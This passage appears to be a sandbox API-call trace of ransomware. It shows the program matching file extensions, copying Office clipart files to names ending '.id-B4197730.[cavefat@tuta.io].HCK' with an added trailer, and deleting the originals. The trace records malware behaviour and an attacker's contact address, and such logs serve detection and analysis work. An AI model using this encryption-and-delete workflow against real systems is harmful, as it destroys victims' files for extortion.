(lpString1=".zip", lpString2=".WMF") returned 1 [0170.561] lstrlenW (lpString=".rar") returned 4 [0170.561] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.561] lstrlenW (lpString=".bz2") returned 4 [0170.561] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.562] lstrlenW (lpString=".7z") returned 3 [0170.562] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF") returned 68 [0170.562] lstrlenW (lpString=".dbf") returned 4 [0170.562] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF") returned 68 [0170.562] lstrlenW (lpString=".1cd") returned 4 [0170.562] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF") returned 68 [0170.562] lstrlenW (lpString=".jpg") returned 4 [0170.562] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF") returned 68 [0170.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF") returned 68 [0170.562] lstrlenW (lpString=".doc") returned 4 [0170.562] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.562] lstrlenW (lpString=".docx") returned 5 [0170.562] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0170.562] lstrlenW (lpString=".pdf") returned 4 [0170.562] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.562] lstrlenW (lpString=".xls") returned 4 [0170.562] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.562] lstrlenW (lpString=".xlsx") returned 5 [0170.562] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0170.562] lstrlenW (lpString=".ppt") returned 4 [0170.562] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF") returned 68 [0170.562] lstrlenW (lpString=".zip") returned 4 [0170.562] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.562] lstrlenW (lpString=".rar") returned 4 [0170.562] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.562] lstrlenW (lpString=".bz2") returned 4 [0170.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.562] lstrlenW (lpString=".7z") returned 3 [0170.562] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF") returned 68 [0170.562] lstrlenW (lpString=".dbf") returned 4 [0170.562] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF") returned 68 [0170.562] lstrlenW (lpString=".1cd") returned 4 [0170.562] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF") returned 68 [0170.562] lstrlenW (lpString=".jpg") returned 4 [0170.562] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.562] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.562] lstrlenW (lpString="J0199279.WMF") returned 12 [0170.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199279.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0170.569] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=29006) returned 1 [0170.570] CloseHandle (hObject=0x2ec) returned 1 [0170.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199279.wmf")) returned 0x220 [0170.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199279.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199279.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0170.577] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.577] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199279.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0170.582] GetLastError () returned 0x0 [0170.582] ReadFile (in: hFile=0x30c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x714e, lpOverlapped=0x0) returned 1 [0170.585] WriteFile (in: hFile=0x308, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x7150, lpOverlapped=0x0) returned 1 [0170.586] ReadFile (in: hFile=0x30c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.586] WriteFile (in: hFile=0x308, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.586] SetEndOfFile (hFile=0x308) returned 1 [0170.590] CloseHandle (hObject=0x308) returned 1 [0170.591] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.591] SetEndOfFile (hFile=0x30c) returned 1 [0170.598] CloseHandle (hObject=0x30c) returned 1 [0170.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.598] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199279.wmf")) returned 1 [0170.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF") returned 68 [0170.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF") returned 68 [0170.603] lstrlenW (lpString=".doc") returned 4 [0170.603] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.603] lstrlenW (lpString=".docx") returned 5 [0170.603] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0170.603] lstrlenW (lpString=".pdf") returned 4 [0170.603] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.603] lstrlenW (lpString=".xls") returned 4 [0170.603] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.603] lstrlenW (lpString=".xlsx") returned 5 [0170.603] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0170.603] lstrlenW (lpString=".ppt") returned 4 [0170.603] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF") returned 68 [0170.603] lstrlenW (lpString=".zip") returned 4 [0170.604] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.604] lstrlenW (lpString=".rar") returned 4 [0170.604] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.604] lstrlenW (lpString=".bz2") returned 4 [0170.604] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.604] lstrlenW (lpString=".7z") returned 3 [0170.604] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF") returned 68 [0170.604] lstrlenW (lpString=".dbf") returned 4 [0170.604] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF") returned 68 [0170.604] lstrlenW (lpString=".1cd") returned 4 [0170.604] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF") returned 68 [0170.604] lstrlenW (lpString=".jpg") returned 4 [0170.604] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF") returned 68 [0170.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF") returned 68 [0170.604] lstrlenW (lpString=".doc") returned 4 [0170.604] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.604] lstrlenW (lpString=".docx") returned 5 [0170.604] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0170.604] lstrlenW (lpString=".pdf") returned 4 [0170.604] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.604] lstrlenW (lpString=".xls") returned 4 [0170.604] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.604] lstrlenW (lpString=".xlsx") returned 5 [0170.604] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0170.604] lstrlenW (lpString=".ppt") returned 4 [0170.604] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF") returned 68 [0170.604] lstrlenW (lpString=".zip") returned 4 [0170.604] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.604] lstrlenW (lpString=".rar") returned 4 [0170.604] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.604] lstrlenW (lpString=".bz2") returned 4 [0170.604] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.604] lstrlenW (lpString=".7z") returned 3 [0170.604] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF") returned 68 [0170.604] lstrlenW (lpString=".dbf") returned 4 [0170.604] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF") returned 68 [0170.604] lstrlenW (lpString=".1cd") returned 4 [0170.604] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF") returned 68 [0170.604] lstrlenW (lpString=".jpg") returned 4 [0170.604] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.605] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.605] lstrlenW (lpString="J0199469.WMF") returned 12 [0170.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199469.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.608] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=13756) returned 1 [0170.608] CloseHandle (hObject=0x370) returned 1 [0170.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199469.wmf")) returned 0x220 [0170.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199469.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199469.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.616] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.616] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199469.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0170.624] GetLastError () returned 0x0 [0170.624] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x35bc, lpOverlapped=0x0) returned 1 [0170.625] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x35c0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x35c0, lpOverlapped=0x0) returned 1 [0170.626] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.626] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.626] SetEndOfFile (hFile=0x38c) returned 1 [0170.629] CloseHandle (hObject=0x38c) returned 1 [0170.631] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.631] SetEndOfFile (hFile=0x39c) returned 1 [0170.634] CloseHandle (hObject=0x39c) returned 1 [0170.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.636] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199469.wmf")) returned 1 [0170.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF") returned 68 [0170.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF") returned 68 [0170.639] lstrlenW (lpString=".doc") returned 4 [0170.639] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.639] lstrlenW (lpString=".docx") returned 5 [0170.639] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0170.639] lstrlenW (lpString=".pdf") returned 4 [0170.639] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.639] lstrlenW (lpString=".xls") returned 4 [0170.639] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.639] lstrlenW (lpString=".xlsx") returned 5 [0170.639] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0170.639] lstrlenW (lpString=".ppt") returned 4 [0170.639] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF") returned 68 [0170.639] lstrlenW (lpString=".zip") returned 4 [0170.639] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.639] lstrlenW (lpString=".rar") returned 4 [0170.639] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.639] lstrlenW (lpString=".bz2") returned 4 [0170.639] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.639] lstrlenW (lpString=".7z") returned 3 [0170.639] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF") returned 68 [0170.639] lstrlenW (lpString=".dbf") returned 4 [0170.639] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF") returned 68 [0170.639] lstrlenW (lpString=".1cd") returned 4 [0170.639] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF") returned 68 [0170.639] lstrlenW (lpString=".jpg") returned 4 [0170.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF") returned 68 [0170.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF") returned 68 [0170.640] lstrlenW (lpString=".doc") returned 4 [0170.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.640] lstrlenW (lpString=".docx") returned 5 [0170.640] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0170.640] lstrlenW (lpString=".pdf") returned 4 [0170.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.640] lstrlenW (lpString=".xls") returned 4 [0170.640] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.640] lstrlenW (lpString=".xlsx") returned 5 [0170.640] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0170.640] lstrlenW (lpString=".ppt") returned 4 [0170.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF") returned 68 [0170.640] lstrlenW (lpString=".zip") returned 4 [0170.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.640] lstrlenW (lpString=".rar") returned 4 [0170.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.640] lstrlenW (lpString=".bz2") returned 4 [0170.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.640] lstrlenW (lpString=".7z") returned 3 [0170.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF") returned 68 [0170.640] lstrlenW (lpString=".dbf") returned 4 [0170.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF") returned 68 [0170.640] lstrlenW (lpString=".1cd") returned 4 [0170.640] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF") returned 68 [0170.640] lstrlenW (lpString=".jpg") returned 4 [0170.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.640] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.640] lstrlenW (lpString="J0199609.WMF") returned 12 [0170.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199609.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0170.647] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=12332) returned 1 [0170.647] CloseHandle (hObject=0x38c) returned 1 [0170.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199609.wmf")) returned 0x220 [0170.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199609.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199609.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0170.651] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.651] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199609.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0170.656] GetLastError () returned 0x0 [0170.656] ReadFile (in: hFile=0x38c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x302c, lpOverlapped=0x0) returned 1 [0170.658] WriteFile (in: hFile=0x30c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x3030, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x3030, lpOverlapped=0x0) returned 1 [0170.659] ReadFile (in: hFile=0x38c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.659] WriteFile (in: hFile=0x30c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.659] SetEndOfFile (hFile=0x30c) returned 1 [0170.664] CloseHandle (hObject=0x30c) returned 1 [0170.666] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.666] SetEndOfFile (hFile=0x38c) returned 1 [0170.670] CloseHandle (hObject=0x38c) returned 1 [0170.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.671] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199609.wmf")) returned 1 [0170.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF") returned 68 [0170.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF") returned 68 [0170.674] lstrlenW (lpString=".doc") returned 4 [0170.674] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.674] lstrlenW (lpString=".docx") returned 5 [0170.674] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0170.674] lstrlenW (lpString=".pdf") returned 4 [0170.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.674] lstrlenW (lpString=".xls") returned 4 [0170.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.674] lstrlenW (lpString=".xlsx") returned 5 [0170.674] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0170.674] lstrlenW (lpString=".ppt") returned 4 [0170.674] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF") returned 68 [0170.674] lstrlenW (lpString=".zip") returned 4 [0170.674] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.674] lstrlenW (lpString=".rar") returned 4 [0170.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.674] lstrlenW (lpString=".bz2") returned 4 [0170.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.674] lstrlenW (lpString=".7z") returned 3 [0170.674] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF") returned 68 [0170.675] lstrlenW (lpString=".dbf") returned 4 [0170.675] lstrcmpiW 